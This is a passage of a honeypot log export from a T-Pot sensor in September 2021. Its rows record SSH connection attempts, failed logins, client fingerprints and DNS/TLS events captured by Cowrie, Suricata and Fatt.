"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29352	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:25:12.486097+03	2021-09-20 14:30:04.020524+03	{"_id": "7QbzAnwBvYTbRNuE7DRV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1762321443058697, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38118, "dest_port": 22, "timestamp": "2021-09-20T11:25:12.486097Z", "@timestamp": "2021-09-20T11:25:12.486Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29353	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:12.236348+03	2021-09-20 14:30:04.021523+03	{"_id": "7gbzAnwBvYTbRNuE7TSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38118, "timestamp": "2021-09-20T11:25:12.236348", "@timestamp": "2021-09-20T11:25:12.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29354	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:25:12.491069+03	2021-09-20 14:30:04.022524+03	{"_id": "8QbzAnwBvYTbRNuE7jSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c29f4cf3a23c", "@version": "1", "timestamp": "2021-09-20T11:25:12.491069Z", "@timestamp": "2021-09-20T11:25:12.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29356	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:25:13.606908+03	2021-09-20 14:30:04.025523+03	{"_id": "9AbzAnwBvYTbRNuE8jR2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [austin/austin] failed", "session": "c29f4cf3a23c", "@version": "1", "password": "austin", "username": "austin", "timestamp": "2021-09-20T11:25:13.606908Z", "@timestamp": "2021-09-20T11:25:13.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29357	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:25:14.865788+03	2021-09-20 14:30:04.026524+03	{"_id": "9gbzAnwBvYTbRNuE9jRf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c29f4cf3a23c", "@version": "1", "duration": 2.6307356357574463, "timestamp": "2021-09-20T11:25:14.865788Z", "@timestamp": "2021-09-20T11:25:14.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29358	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:22.140603+03	2021-09-20 14:30:04.027523+03	{"_id": "-gb0AnwBvYTbRNuEEzRn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33321, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1124, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1703980755460418, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45383, "timestamp": "2021-09-20T11:25:22.140603Z", "@timestamp": "2021-09-20T11:25:22.140Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29359	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:22.139586+03	2021-09-20 14:30:04.029525+03	{"_id": "-wb0AnwBvYTbRNuEEzRn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33321, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1703980755460418, "@version": "1", "in_iface": "enp5s0", "src_port": 45383, "dest_port": 53, "timestamp": "2021-09-20T11:25:22.139586Z", "@timestamp": "2021-09-20T11:25:22.139Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29360	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:22.194687+03	2021-09-20 14:30:04.030525+03	{"_id": "_Qb0AnwBvYTbRNuEFDSb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35182, "dest_port": 443, "timestamp": "2021-09-20T11:25:22.194687", "@timestamp": "2021-09-20T11:25:22.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29361	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:25:09.450046+03	2021-09-20 14:30:04.031524+03	{"_id": "4AbzAnwBvYTbRNuE4jTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3735 (192.168.176.2:22) [session: bb5e96f2bbf1]", "session": "bb5e96f2bbf1", "@version": "1", "protocol": "ssh", "src_port": 3735, "dest_port": 22, "timestamp": "2021-09-20T11:25:09.450046Z", "@timestamp": "2021-09-20T11:25:09.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29362	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:25:09.453073+03	2021-09-20 14:30:04.033524+03	{"_id": "4QbzAnwBvYTbRNuE4jTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bb5e96f2bbf1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:25:09.453073Z", "@timestamp": "2021-09-20T11:25:09.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29363	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:25:09.79867+03	2021-09-20 14:30:04.034523+03	{"_id": "4gbzAnwBvYTbRNuE4jTT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bb5e96f2bbf1", "@version": "1", "timestamp": "2021-09-20T11:25:09.798670Z", "@timestamp": "2021-09-20T11:25:09.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29364	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:25:09.797611+03	2021-09-20 14:30:04.035524+03	{"_id": "4wbzAnwBvYTbRNuE5DSE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1985694102032578, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3735, "dest_port": 22, "timestamp": "2021-09-20T11:25:09.797611Z", "@timestamp": "2021-09-20T11:25:09.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29365	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:25:12.490439+03	2021-09-20 14:30:04.037523+03	{"_id": "7wbzAnwBvYTbRNuE7TSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38118, "dest_port": 22, "timestamp": "2021-09-20T11:25:12.490439", "@timestamp": "2021-09-20T11:25:12.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29366	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:25:12.23533+03	2021-09-20 14:30:04.038523+03	{"_id": "8AbzAnwBvYTbRNuE7jSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c29f4cf3a23c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:25:12.235330Z", "@timestamp": "2021-09-20T11:25:12.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29404	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:25:49.933509+03	2021-09-20 14:30:04.088523+03	{"_id": "IQb0AnwBvYTbRNuEfzUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b30602d26bcc", "@version": "1", "duration": 2.320751190185547, "timestamp": "2021-09-20T11:25:49.933509Z", "@timestamp": "2021-09-20T11:25:49.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29367	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:25:12.232527+03	2021-09-20 14:30:04.039523+03	{"_id": "8wbzAnwBvYTbRNuE7jSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:38118 (192.168.176.2:22) [session: c29f4cf3a23c]", "session": "c29f4cf3a23c", "@version": "1", "protocol": "ssh", "src_port": 38118, "dest_port": 22, "timestamp": "2021-09-20T11:25:12.232527Z", "@timestamp": "2021-09-20T11:25:12.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29368	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:25:22.237311+03	2021-09-20 14:30:04.040523+03	{"_id": "_Ab0AnwBvYTbRNuEFDSb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35182, "timestamp": "2021-09-20T11:25:22.237311", "@timestamp": "2021-09-20T11:25:22.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29369	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:07.380079+03	2021-09-20 14:30:04.042524+03	{"_id": "1gbzAnwBvYTbRNuE2zQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2wsxzaq1] failed", "session": "c93154576def", "@version": "1", "password": "2wsxzaq1", "username": "root", "timestamp": "2021-09-20T11:25:07.380079Z", "@timestamp": "2021-09-20T11:25:07.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
